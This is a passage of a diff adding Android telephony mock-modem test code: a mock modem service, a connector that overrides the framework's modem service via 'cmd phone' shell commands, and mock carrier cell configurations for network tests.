+            if (configInterfaces != null) {
+                result = configInterfaces[slotId].getSimInfo(type, TAG);
+            }
+        } else {
+            Log.d(TAG, "There is no SIM inserted.");
+        }
+        return result;
+    }
+
+    /**
+     * Force the response error return for a specific RIL request
+     *
+     * @param slotId which slot needs to be set.
+     * @param requestId the request/response message ID
+     * @param error RIL_Errno and -1 means to disable the modified mechanism, back to original mock
+     *     modem behavior
+     * @return boolean true if the operation is successful, otherwise false.
+     */
+    public boolean forceErrorResponse(int slotId, int requestId, int error) throws Exception {
+        Log.d(
+                TAG,
+                "forceErrorResponse[" + slotId + "] for request:" + requestId + " ,error:" + error);
+        boolean result = true;
+
+        // TODO: support DSDS
+        switch (requestId) {
+            case RIL_REQUEST_RADIO_POWER:
+                mMockModemService.getIRadioModem().forceErrorResponse(requestId, error);
+                break;
+            default:
+                Log.e(TAG, "request:" + requestId + " not support to change the response error");
+                result = false;
+                break;
+        }
+        return result;
+    }
+
+    /**
+     * Make the modem is in service or not.
+     *
+     * @param slotId which SIM slot is under the carrierId network.
+     * @param carrierId which carrier network is used.
+     * @param registration boolean true if the modem is in service, otherwise false.
+     * @return boolean true if the operation is successful, otherwise false.
+     */
+    public boolean changeNetworkService(int slotId, int carrierId, boolean registration)
+            throws Exception {
+        Log.d(
+                TAG,
+                "changeNetworkService["
+                        + slotId
+                        + "] in carrier ("
+                        + carrierId
+                        + ") "
+                        + registration);
+
+        boolean result;
+        // TODO: support DSDS for slotId
+        result = mMockModemService.getIRadioNetwork().changeNetworkService(carrierId, registration);
+
+        waitForTelephonyFrameworkDone(1);
+        return result;
+    }
+
+    /**
+     * get GSM CellBroadcastConfig outputs from IRadioMessagingImpl
+     *
+     * @return Set of broadcast configs
+     */
+    public Set<Integer> getGsmBroadcastConfig() {
+        return mMockModemService.getIRadioMessaging().getGsmBroadcastConfigSet();
+    }
+
+    /**
+     * get CDMA CellBroadcastConfig outputs from IRadioMessagingImpl
+     *
+     * @return Set of broadcast configs
+     */
+    public Set<Integer> getCdmaBroadcastConfig() {
+        return mMockModemService.getIRadioMessaging().getCdmaBroadcastConfigSet();
+    }
+}
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemService.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemService.java
new file mode 100644
index 0000000..f2523a4
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemService.java
@@ -0,0 +1,322 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.mockmodem;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.hardware.radio.RadioError;
+import android.hardware.radio.RadioResponseInfo;
+import android.hardware.radio.RadioResponseType;
+import android.os.Binder;
+import android.os.IBinder;
+import android.telephony.TelephonyManager;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class MockModemService extends Service {
+    private static final String TAG = "MockModemService";
+
+    public static final int TEST_TIMEOUT_MS = 30000;
+    public static final String IRADIOCONFIG_INTERFACE = "android.telephony.mockmodem.iradioconfig";
+    public static final String IRADIOMODEM_INTERFACE = "android.telephony.mockmodem.iradiomodem";
+    public static final String IRADIOSIM_INTERFACE = "android.telephony.mockmodem.iradiosim";
+    public static final String IRADIONETWORK_INTERFACE =
+            "android.telephony.mockmodem.iradionetwork";
+    public static final String IRADIODATA_INTERFACE = "android.telephony.mockmodem.iradiodata";
+    public static final String IRADIOMESSAGING_INTERFACE =
+            "android.telephony.mockmodem.iradiomessaging";
+    public static final String IRADIOVOICE_INTERFACE = "android.telephony.mockmodem.iradiovoice";
+    public static final String PHONE_ID = "phone_id";
+
+    private static Context sContext;
+    private static MockModemConfigInterface[] sMockModemConfigInterfaces;
+    private static IRadioConfigImpl sIRadioConfigImpl;
+    private static IRadioModemImpl sIRadioModemImpl;
+    private static IRadioSimImpl sIRadioSimImpl;
+    private static IRadioNetworkImpl sIRadioNetworkImpl;
+    private static IRadioDataImpl sIRadioDataImpl;
+    private static IRadioMessagingImpl sIRadioMessagingImpl;
+    private static IRadioVoiceImpl sIRadioVoiceImpl;
+
+    public static final byte PHONE_ID_0 = 0x00;
+    public static final byte PHONE_ID_1 = 0x01;
+
+    public static final int LATCH_MOCK_MODEM_SERVICE_READY = 0;
+    public static final int LATCH_RADIO_INTERFACES_READY = 1;
+    public static final int LATCH_MAX = 2;
+
+    private static final int IRADIO_CONFIG_INTERFACE_NUMBER = 1;
+    private static final int IRADIO_INTERFACE_NUMBER = 6;
+
+    private TelephonyManager mTelephonyManager;
+    private int mNumOfSim;
+    private int mNumOfPhone;
+    private static final int DEFAULT_SUB_ID = 0;
+
+    private Object mLock;
+    protected static CountDownLatch[] sLatches;
+    private LocalBinder mBinder;
+
+    // For local access of this Service.
+    class LocalBinder extends Binder {
+        MockModemService getService() {
+            return MockModemService.this;
+        }
+    }
+
+    @Override
+    public void onCreate() {
+        Log.d(TAG, "Mock Modem Service Created");
+
+        sContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mTelephonyManager = sContext.getSystemService(TelephonyManager.class);
+        mNumOfSim = getNumPhysicalSlots();
+        mNumOfPhone = mTelephonyManager.getActiveModemCount();
+        Log.d(TAG, "Support number of phone = " + mNumOfPhone + ", number of SIM = " + mNumOfSim);
+
+        mLock = new Object();
+
+        sLatches = new CountDownLatch[LATCH_MAX];
+        for (int i = 0; i < LATCH_MAX; i++) {
+            sLatches[i] = new CountDownLatch(1);
+            if (i == LATCH_RADIO_INTERFACES_READY) {
+                int radioInterfaceNumber =
+                        IRADIO_CONFIG_INTERFACE_NUMBER + mNumOfPhone * IRADIO_INTERFACE_NUMBER;
+                sLatches[i] = new CountDownLatch(radioInterfaceNumber);
+            } else {
+                sLatches[i] = new CountDownLatch(1);
+            }
+        }
+
+        sMockModemConfigInterfaces = new MockModemConfigBase[mNumOfPhone];
+        for (int i = 0; i < mNumOfPhone; i++) {
+            sMockModemConfigInterfaces[i] =
+                    new MockModemConfigBase(sContext, i, mNumOfSim, mNumOfPhone);
+        }
+
+        sIRadioConfigImpl = new IRadioConfigImpl(this, sMockModemConfigInterfaces, DEFAULT_SUB_ID);
+        // TODO: Support DSDS
+        sIRadioModemImpl = new IRadioModemImpl(this, sMockModemConfigInterfaces, DEFAULT_SUB_ID);
+        sIRadioSimImpl = new IRadioSimImpl(this, sMockModemConfigInterfaces, DEFAULT_SUB_ID);
+        sIRadioNetworkImpl =
+                new IRadioNetworkImpl(this, sMockModemConfigInterfaces, DEFAULT_SUB_ID);
+        sIRadioDataImpl = new IRadioDataImpl(this);
+        sIRadioMessagingImpl = new IRadioMessagingImpl(this);
+        sIRadioVoiceImpl = new IRadioVoiceImpl(this);
+
+        mBinder = new LocalBinder();
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        byte phoneId = intent.getByteExtra(PHONE_ID, PHONE_ID_0);
+
+        if (IRADIOCONFIG_INTERFACE.equals(intent.getAction())) {
+            Log.i(TAG, "onBind-IRadioConfig " + phoneId);
+            return sIRadioConfigImpl;
+        } else if (IRADIOMODEM_INTERFACE.equals(intent.getAction())) {
+            Log.i(TAG, "onBind-IRadioModem " + phoneId);
+            if (phoneId == PHONE_ID_0) {
+                return sIRadioModemImpl;
+            } else if (phoneId == PHONE_ID_1) {
+                // TODO
+            } else {
+                return null;
+            }
+        } else if (IRADIOSIM_INTERFACE.equals(intent.getAction())) {
+            Log.i(TAG, "onBind-IRadioSim " + phoneId);
+            if (phoneId == PHONE_ID_0) {
+                return sIRadioSimImpl;
+            } else if (phoneId == PHONE_ID_1) {
+                // TODO
+            } else {
+                return null;
+            }
+        } else if (IRADIONETWORK_INTERFACE.equals(intent.getAction())) {
+            Log.i(TAG, "onBind-IRadioNetwork " + phoneId);
+            if (phoneId == PHONE_ID_0) {
+                return sIRadioNetworkImpl;
+            } else if (phoneId == PHONE_ID_1) {
+                // TODO
+            } else {
+                return null;
+            }
+        } else if (IRADIODATA_INTERFACE.equals(intent.getAction())) {
+            Log.i(TAG, "onBind-IRadioData " + phoneId);
+            if (phoneId == PHONE_ID_0) {
+                return sIRadioDataImpl;
+            } else if (phoneId == PHONE_ID_1) {
+                // TODO
+            } else {
+                return null;
+            }
+        } else if (IRADIOMESSAGING_INTERFACE.equals(intent.getAction())) {
+            Log.i(TAG, "onBind-IRadioMessaging " + phoneId);
+            if (phoneId == PHONE_ID_0) {
+                return sIRadioMessagingImpl;
+            } else if (phoneId == PHONE_ID_1) {
+                // TODO
+            } else {
+                return null;
+            }
+        } else if (IRADIOVOICE_INTERFACE.equals(intent.getAction())) {
+            Log.i(TAG, "onBind-IRadioVoice " + phoneId);
+            if (phoneId == PHONE_ID_0) {
+                return sIRadioVoiceImpl;
+            } else if (phoneId == PHONE_ID_1) {
+                // TODO
+            } else {
+                return null;
+            }
+        }
+
+        countDownLatch(LATCH_MOCK_MODEM_SERVICE_READY);
+        Log.i(TAG, "onBind-Local");
+        return mBinder;
+    }
+
+    public boolean waitForLatchCountdown(int latchIndex) {
+        boolean complete = false;
+        try {
+            CountDownLatch latch;
+            synchronized (mLock) {
+                latch = sLatches[latchIndex];
+            }
+            complete = latch.await(TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+        }
+        synchronized (mLock) {
+            sLatches[latchIndex] = new CountDownLatch(1);
+        }
+        return complete;
+    }
+
+    public boolean waitForLatchCountdown(int latchIndex, long waitMs) {
+        boolean complete = false;
+        try {
+            CountDownLatch latch;
+            synchronized (mLock) {
+                latch = sLatches[latchIndex];
+            }
+            complete = latch.await(waitMs, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+        }
+        synchronized (mLock) {
+            sLatches[latchIndex] = new CountDownLatch(1);
+        }
+        return complete;
+    }
+
+    public void countDownLatch(int latchIndex) {
+        synchronized (mLock) {
+            sLatches[latchIndex].countDown();
+        }
+    }
+
+    public int getNumPhysicalSlots() {
+        int numPhysicalSlots =
+                sContext.getResources()
+                        .getInteger(com.android.internal.R.integer.config_num_physical_slots);
+        if (numPhysicalSlots > MockSimService.MOCK_SIM_SLOT_MAX) {
+            Log.d(
+                    TAG,
+                    "Number of physical Slot ("
+                            + numPhysicalSlots
+                            + ") > mock sim slot support. Reset to max number supported ("
+                            + MockSimService.MOCK_SIM_SLOT_MAX
+                            + ").");
+            numPhysicalSlots = MockSimService.MOCK_SIM_SLOT_MAX;
+        }
+
+        return numPhysicalSlots;
+    }
+
+    public RadioResponseInfo makeSolRsp(int serial) {
+        RadioResponseInfo rspInfo = new RadioResponseInfo();
+        rspInfo.type = RadioResponseType.SOLICITED;
+        rspInfo.serial = serial;
+        rspInfo.error = RadioError.NONE;
+
+        return rspInfo;
+    }
+
+    public RadioResponseInfo makeSolRsp(int serial, int error) {
+        RadioResponseInfo rspInfo = new RadioResponseInfo();
+        rspInfo.type = RadioResponseType.SOLICITED;
+        rspInfo.serial = serial;
+        rspInfo.error = error;
+
+        return rspInfo;
+    }
+
+    public boolean initialize(int simprofile) {
+        Log.d(TAG, "initialize simprofile = " + simprofile);
+        boolean result = true;
+
+        // Sync mock modem status between modules
+        for (int i = 0; i < mNumOfPhone; i++) {
+            // Set initial SIM profile
+            sMockModemConfigInterfaces[i].changeSimProfile(simprofile, TAG);
+
+            // Sync modem configurations to radio modules
+            sMockModemConfigInterfaces[i].notifyAllRegistrantNotifications();
+        }
+
+        // Connect to telephony framework
+        sIRadioModemImpl.rilConnected();
+
+        return result;
+    }
+
+    public MockModemConfigInterface[] getMockModemConfigInterfaces() {
+        return sMockModemConfigInterfaces;
+    }
+
+    // TODO: Support DSDS
+    public IRadioConfigImpl getIRadioConfig() {
+        return sIRadioConfigImpl;
+    }
+
+    public IRadioModemImpl getIRadioModem() {
+        return sIRadioModemImpl;
+    }
+
+    public IRadioSimImpl getIRadioSim() {
+        return sIRadioSimImpl;
+    }
+
+    public IRadioNetworkImpl getIRadioNetwork() {
+        return sIRadioNetworkImpl;
+    }
+
+    public IRadioVoiceImpl getIRadioVoice() {
+        return sIRadioVoiceImpl;
+    }
+
+    public IRadioMessagingImpl getIRadioMessaging() {
+        return sIRadioMessagingImpl;
+    }
+
+    public IRadioDataImpl getIRadioData() {
+        return sIRadioDataImpl;
+    }
+}
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemServiceConnector.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemServiceConnector.java
new file mode 100644
index 0000000..8031994
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemServiceConnector.java
@@ -0,0 +1,259 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.mockmodem;
+
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.IBinder;
+import android.telephony.cts.TelephonyUtils;
+import android.text.TextUtils;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/** Connects Telephony Framework to MockModemService. */
+class MockModemServiceConnector {
+
+    private static final String TAG = "MockModemServiceConnector";
+
+    private static final String COMMAND_BASE = "cmd phone ";
+    private static final String COMMAND_SET_MODEM_SERVICE = "radio set-modem-service ";
+    private static final String COMMAND_GET_MODEM_SERVICE = "radio get-modem-service ";
+    private static final String COMMAND_SERVICE_IDENTIFIER = "-s ";
+    private static final String COMMAND_MODEM_SERVICE_UNKNOWN = "unknown";
+    private static final String COMMAND_MODEM_SERVICE_DEFAULT = "default";
+
+    private static final int BIND_LOCAL_MOCKMODEM_SERVICE_TIMEOUT_MS = 5000;
+    private static final int BIND_RADIO_INTERFACE_READY_TIMEOUT_MS = 5000;
+
+    private class MockModemServiceConnection implements ServiceConnection {
+
+        private final CountDownLatch mLatch;
+
+        MockModemServiceConnection(CountDownLatch latch) {
+            mLatch = latch;
+        }
+
+        @Override
+        public void onServiceConnected(ComponentName name, IBinder service) {
+            String serviceName;
+            mMockModemService = ((MockModemService.LocalBinder) service).getService();
+            serviceName = name.getPackageName() + "/" + name.getClassName();
+            updateModemServiceName(serviceName);
+            mLatch.countDown();
+            Log.d(TAG, "MockModemServiceConnection - " + serviceName + " onServiceConnected");
+        }
+
+        @Override
+        public void onServiceDisconnected(ComponentName name) {
+            mMockModemService = null;
+            Log.d(TAG, "MockModemServiceConnection - onServiceDisconnected");
+        }
+    }
+
+    private Instrumentation mInstrumentation;
+
+    private MockModemService mMockModemService;
+    private MockModemServiceConnection mMockModemServiceConn;
+    private boolean mIsServiceOverridden;
+    private String mModemServiceName;
+
+    MockModemServiceConnector(Instrumentation instrumentation) {
+        mInstrumentation = instrumentation;
+    }
+
+    private boolean setupLocalMockModemService() {
+        Log.d(TAG, "setupLocalMockModemService");
+        if (mMockModemService != null) {
+            return true;
+        }
+
+        CountDownLatch latch = new CountDownLatch(1);
+        if (mMockModemServiceConn == null) {
+            mMockModemServiceConn = new MockModemServiceConnection(latch);
+        }
+
+        mInstrumentation
+                .getContext()
+                .bindService(
+                        new Intent(mInstrumentation.getContext(), MockModemService.class),
+                        mMockModemServiceConn,
+                        Context.BIND_AUTO_CREATE);
+        try {
+            return latch.await(BIND_LOCAL_MOCKMODEM_SERVICE_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            return false;
+        }
+    }
+
+    private String constructSetModemServiceOverrideCommand() {
+        return COMMAND_BASE
+                + COMMAND_SET_MODEM_SERVICE
+                + COMMAND_SERVICE_IDENTIFIER
+                + mModemServiceName;
+    }
+
+    private String constructGetModemServiceCommand() {
+        return COMMAND_BASE + COMMAND_GET_MODEM_SERVICE;
+    }
+
+    private String constructClearModemServiceOverrideCommand() {
+        return COMMAND_BASE + COMMAND_SET_MODEM_SERVICE;
+    }
+
+    private boolean setModemService() throws Exception {
+        String result =
+                TelephonyUtils.executeShellCommand(
+                        mInstrumentation, constructSetModemServiceOverrideCommand());
+        Log.d(TAG, "setModemService result: " + result);
+        return "true".equals(result);
+    }
+
+    private String getModemService() throws Exception {
+        String result =
+                TelephonyUtils.executeShellCommand(
+                        mInstrumentation, constructGetModemServiceCommand());
+        Log.d(TAG, "getModemService result: " + result);
+        return result;
+    }
+
+    private boolean clearModemServiceOverride() throws Exception {
+        String result =
+                TelephonyUtils.executeShellCommand(
+                        mInstrumentation, constructClearModemServiceOverrideCommand());
+        Log.d(TAG, "clearModemServiceOverride result: " + result);
+        return "true".equals(result);
+    }
+
+    private boolean isServiceTheSame(String serviceA, String serviceB) {
+        if (TextUtils.isEmpty(serviceA) && TextUtils.isEmpty(serviceB)) {
+            return true;
+        }
+        return TextUtils.equals(serviceA, serviceB);
+    }
+
+    private void updateModemServiceName(String serviceName) {
+        mModemServiceName = serviceName;
+    }
+
+    private boolean overrideModemService() throws Exception {
+        boolean result = setModemService();
+
+        if (result) mIsServiceOverridden = true;
+
+        return result;
+    }
+
+    /**
+     * Bind to the local implementation of MockModemService.
+     *
+     * @return true if this request succeeded, false otherwise.
+     */
+    boolean connectMockModemServiceLocally() {
+        if (!setupLocalMockModemService()) {
+            Log.w(TAG, "connectMockModemService: couldn't set up service.");
+            return false;
+        }
+        return true;
+    }
+
+    /**
+     * Trigger the telephony framework to bind to the local MockModemService implementation.
+     *
+     * @return true if this request succeeded, false otherwise.
+     */
+    boolean switchFrameworkConnectionToMockModemService(int simprofile) throws Exception {
+        boolean isComplete = false;
+
+        if (overrideModemService()) {
+            isComplete =
+                    mMockModemService.waitForLatchCountdown(
+                            MockModemService.LATCH_RADIO_INTERFACES_READY,
+                            BIND_RADIO_INTERFACE_READY_TIMEOUT_MS);
+
+            if (isComplete) {
+                // TODO: support DSDS
+                isComplete = mMockModemService.initialize(simprofile);
+            }
+        }
+
+        return isComplete;
+    }
+
+    boolean checkDefaultModemServiceConnected(String serviceName) throws Exception {
+        return isServiceTheSame(COMMAND_MODEM_SERVICE_DEFAULT, serviceName);
+    }
+
+    boolean checkModemServiceOverridden(String serviceName) throws Exception {
+        return isServiceTheSame(mModemServiceName, serviceName);
+    }
+
+    boolean connectMockModemService(int simprofile) throws Exception {
+        boolean result = false;
+        if (!connectMockModemServiceLocally()) return false;
+
+        result = checkModemServiceOverridden(getModemService());
+        if (result) mIsServiceOverridden = true;
+        else result = switchFrameworkConnectionToMockModemService(simprofile);
+
+        return result;
+    }
+
+    boolean triggerFrameworkDisconnectionFromMockModemService() throws Exception {
+        boolean result = false;
+        if (!mIsServiceOverridden) {
+            Log.d(TAG, "Service didn't override.");
+            return true;
+        }
+
+        result = clearModemServiceOverride();
+        if (result) mIsServiceOverridden = false;
+
+        return result;
+    }
+
+    boolean disconnectMockModemService() throws Exception {
+        boolean isComplete;
+        isComplete = triggerFrameworkDisconnectionFromMockModemService();
+
+        if (isComplete) {
+            // waiting for binding to default modem service
+            TimeUnit.SECONDS.sleep(5);
+            String serviceName = getModemService();
+            isComplete =
+                    (!checkModemServiceOverridden(serviceName)
+                            && checkDefaultModemServiceConnected(serviceName));
+        }
+
+        // Remove local connection
+        Log.d(TAG, "disconnectMockModemService");
+        if (mMockModemServiceConn != null) {
+            mInstrumentation.getContext().unbindService(mMockModemServiceConn);
+            mMockModemService = null;
+        }
+
+        return isComplete;
+    }
+
+    MockModemService getMockModemService() {
+        return mMockModemService;
+    }
+}
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockNetworkService.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockNetworkService.java
new file mode 100644
index 0000000..2324cc2
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockNetworkService.java
@@ -0,0 +1,688 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.mockmodem;
+
+import android.hardware.radio.network.CellConnectionStatus;
+import android.hardware.radio.network.CellInfo;
+import android.hardware.radio.network.CellInfoLte;
+import android.hardware.radio.network.CellInfoRatSpecificInfo;
+import android.hardware.radio.network.CellInfoWcdma;
+import android.hardware.radio.network.RegState;
+import android.telephony.RadioAccessFamily;
+import android.telephony.ServiceState;
+import android.util.Log;
+
+import com.android.internal.telephony.RILConstants;
+
+import java.util.ArrayList;
+
+public class MockNetworkService {
+    private static final String TAG = "MockNetworkService";
+
+    // Grouping of RAFs
+    // 2G
+    public static final int GSM =
+            RadioAccessFamily.RAF_GSM | RadioAccessFamily.RAF_GPRS | RadioAccessFamily.RAF_EDGE;
+    public static final int CDMA =
+            RadioAccessFamily.RAF_IS95A | RadioAccessFamily.RAF_IS95B | RadioAccessFamily.RAF_1xRTT;
+    // 3G
+    public static final int EVDO =
+            RadioAccessFamily.RAF_EVDO_0
+                    | RadioAccessFamily.RAF_EVDO_A
+                    | RadioAccessFamily.RAF_EVDO_B
+                    | RadioAccessFamily.RAF_EHRPD;
+    public static final int HS =
+            RadioAccessFamily.RAF_HSUPA
+                    | RadioAccessFamily.RAF_HSDPA
+                    | RadioAccessFamily.RAF_HSPA
+                    | RadioAccessFamily.RAF_HSPAP;
+    public static final int WCDMA = HS | RadioAccessFamily.RAF_UMTS;
+    // 4G
+    public static final int LTE = RadioAccessFamily.RAF_LTE | RadioAccessFamily.RAF_LTE_CA;
+    // 5G
+    public static final int NR = RadioAccessFamily.RAF_NR;
+
+    static final int MOCK_CARRIER_NO_SERVICE = 0;
+    // TODO: Integrate carrier network parameters with SIM profile
+    static final int MOCK_CARRIER_CHT = 1;
+    static final int MOCK_CARRIER_FET = 2;
+
+    // Network status update reason
+    static final int NETWORK_UPDATE_PREFERRED_MODE_CHANGE = 1;
+
+    private int mCsRegState = RegState.NOT_REG_MT_NOT_SEARCHING_OP;
+    private int mPsRegState = RegState.NOT_REG_MT_NOT_SEARCHING_OP;
+
+    private String mSimPlmn;
+    private boolean mIsHomeCamping;
+    private boolean mIsRoamingCamping;
+    private int mHomeCarrierId;
+    private int mRoamingCarrierId;
+    private int mInServiceCarrierId;
+    private int mHighRat;
+
+    private ArrayList<MockModemCell> mCellList = new ArrayList<MockModemCell>();
+
+    private class MockModemCell {
+        private int mCarrierId;
+
+        // Non-AOSP
+        public String[] mEHPlmnList;
+        public String[] mAllowRoamingList;
+
+        // AOSP
+        private CellInfo[] mCells;
+
+        MockModemCell(int carrierConfig) {
+            mCarrierId = carrierConfig;
+            updateHomeRoamingList();
+            updateCellList();
+        }
+
+        public int getCarrierId() {
+            return mCarrierId;
+        }
+
+        public CellInfo[] getCells() {
+            return mCells;
+        }
+
+        private void updateHomeRoamingList() {
+            // TODO: Read from carrier configuration file
+            switch (mCarrierId) {
+                case MOCK_CARRIER_CHT:
+                    mEHPlmnList = new String[] {"46692"};
+                    mAllowRoamingList = new String[] {"310026"};
+                    break;
+                case MOCK_CARRIER_FET:
+                    mEHPlmnList = new String[] {"46601"};
+                    mAllowRoamingList = new String[] {"310026"};
+                    break;
+                case MOCK_CARRIER_NO_SERVICE:
+                default:
+                    break;
+            }
+        }
+
+        private void updateCellList() {
+            // TODO: Read from carrier configuration file
+            switch (mCarrierId) {
+                case MOCK_CARRIER_NO_SERVICE:
+                    break;
+                case MOCK_CARRIER_CHT:
+                    // LTE Cell configuration
+                    CellInfoLte lte = new CellInfoLte();
+                    lte.cellIdentityLte = new android.hardware.radio.network.CellIdentityLte();
+                    lte.cellIdentityLte.mcc = "466";
+                    lte.cellIdentityLte.mnc = "92";
+                    lte.cellIdentityLte.ci = 101;
+                    lte.cellIdentityLte.pci = 273;
+                    lte.cellIdentityLte.tac = 13100;
+                    lte.cellIdentityLte.earfcn = 9260;
+                    lte.cellIdentityLte.operatorNames =
+                            new android.hardware.radio.network.OperatorInfo();
+                    lte.cellIdentityLte.operatorNames.alphaLong = "Chung Hwa Telecom";
+                    lte.cellIdentityLte.operatorNames.alphaShort = "CHT";
+                    lte.cellIdentityLte.operatorNames.operatorNumeric = "46692";
+                    lte.cellIdentityLte.additionalPlmns = new String[0];
+                    lte.cellIdentityLte.bands = new int[0];
+
+                    lte.signalStrengthLte = new android.hardware.radio.network.LteSignalStrength();
+                    lte.signalStrengthLte.signalStrength = 20;
+                    lte.signalStrengthLte.rsrp = 71;
+                    lte.signalStrengthLte.rsrq = 6;
+                    lte.signalStrengthLte.rssnr = 100;
+                    lte.signalStrengthLte.cqi = 13;
+                    lte.signalStrengthLte.timingAdvance = 0;
+                    lte.signalStrengthLte.cqiTableIndex = 1;
+
+                    // WCDMA Cell configuration
+                    CellInfoWcdma wcdma = new CellInfoWcdma();
+                    wcdma.cellIdentityWcdma =
+                            new android.hardware.radio.network.CellIdentityWcdma();
+                    wcdma.cellIdentityWcdma.mcc = "466";
+                    wcdma.cellIdentityWcdma.mnc = "92";
+                    wcdma.cellIdentityWcdma.lac = 9222;
+                    wcdma.cellIdentityWcdma.cid = 14549;
+                    wcdma.cellIdentityWcdma.psc = 413;
+                    wcdma.cellIdentityWcdma.uarfcn = 10613;
+                    wcdma.cellIdentityWcdma.operatorNames =
+                            new android.hardware.radio.network.OperatorInfo();
+                    wcdma.cellIdentityWcdma.operatorNames.alphaLong = "Chung Hwa 3G";
+                    wcdma.cellIdentityWcdma.operatorNames.alphaShort = "CHT";
+                    wcdma.cellIdentityWcdma.operatorNames.operatorNumeric = "46692";
+                    wcdma.cellIdentityWcdma.additionalPlmns = new String[0];
+
+                    wcdma.signalStrengthWcdma =
+                            new android.hardware.radio.network.WcdmaSignalStrength();
+                    wcdma.signalStrengthWcdma.signalStrength = 20;
+                    wcdma.signalStrengthWcdma.bitErrorRate = 3;
+                    wcdma.signalStrengthWcdma.rscp = 45;
+                    wcdma.signalStrengthWcdma.ecno = 25;
+
+                    // Fill the cells
+                    mCells = new CellInfo[2]; // TODO: 2 is read from config file
+                    mCells[0] = new CellInfo();
+                    mCells[0].registered = false;
+                    mCells[0].connectionStatus = CellConnectionStatus.PRIMARY_SERVING;
+                    mCells[0].ratSpecificInfo = new CellInfoRatSpecificInfo();
+                    mCells[0].ratSpecificInfo.setLte(lte);
+
+                    mCells[1] = new CellInfo();
+                    mCells[1].registered = false;
+                    mCells[1].connectionStatus = CellConnectionStatus.SECONDARY_SERVING;
+                    mCells[1].ratSpecificInfo = new CellInfoRatSpecificInfo();
+                    mCells[1].ratSpecificInfo.setWcdma(wcdma);
+                    break;
+                case MOCK_CARRIER_FET:
+                    // WCDMA Cell configuration
+                    CellInfoWcdma wcdma2 = new CellInfoWcdma();
+                    wcdma2.cellIdentityWcdma =
+                            new android.hardware.radio.network.CellIdentityWcdma();
+                    wcdma2.cellIdentityWcdma.mcc = "466";
+                    wcdma2.cellIdentityWcdma.mnc = "01";
+                    wcdma2.cellIdentityWcdma.lac = 8122;
+                    wcdma2.cellIdentityWcdma.cid = 16249;
+                    wcdma2.cellIdentityWcdma.psc = 413;
+                    wcdma2.cellIdentityWcdma.uarfcn = 10613;
+                    wcdma2.cellIdentityWcdma.operatorNames =
+                            new android.hardware.radio.network.OperatorInfo();
+                    wcdma2.cellIdentityWcdma.operatorNames.alphaLong = "Far EasTone";
+                    wcdma2.cellIdentityWcdma.operatorNames.alphaShort = "FET";
+                    wcdma2.cellIdentityWcdma.operatorNames.operatorNumeric = "46601";
+                    wcdma2.cellIdentityWcdma.additionalPlmns = new String[0];
+
+                    wcdma2.signalStrengthWcdma =
+                            new android.hardware.radio.network.WcdmaSignalStrength();
+                    wcdma2.signalStrengthWcdma.signalStrength = 10;
+                    wcdma2.signalStrengthWcdma.bitErrorRate = 6;
+                    wcdma2.signalStrengthWcdma.rscp = 55;
+                    wcdma2.signalStrengthWcdma.ecno = 15;
+
+                    // Fill the cells
+                    mCells = new CellInfo[1];
+                    mCells[0] = new CellInfo();
+                    mCells[0].registered = false;
+                    mCells[0].connectionStatus = CellConnectionStatus.PRIMARY_SERVING;
+                    mCells[0].ratSpecificInfo = new CellInfoRatSpecificInfo();
+                    mCells[0].ratSpecificInfo.setWcdma(wcdma2);
+                    break;
+                default:
+                    break;
+            }
+        }
+
+        public android.hardware.radio.network.OperatorInfo getPrimaryCellOperatorInfo() {
+            android.hardware.radio.network.OperatorInfo operatorInfo =
+                    new android.hardware.radio.network.OperatorInfo();
+            for (CellInfo cellInfo : getCells()) {
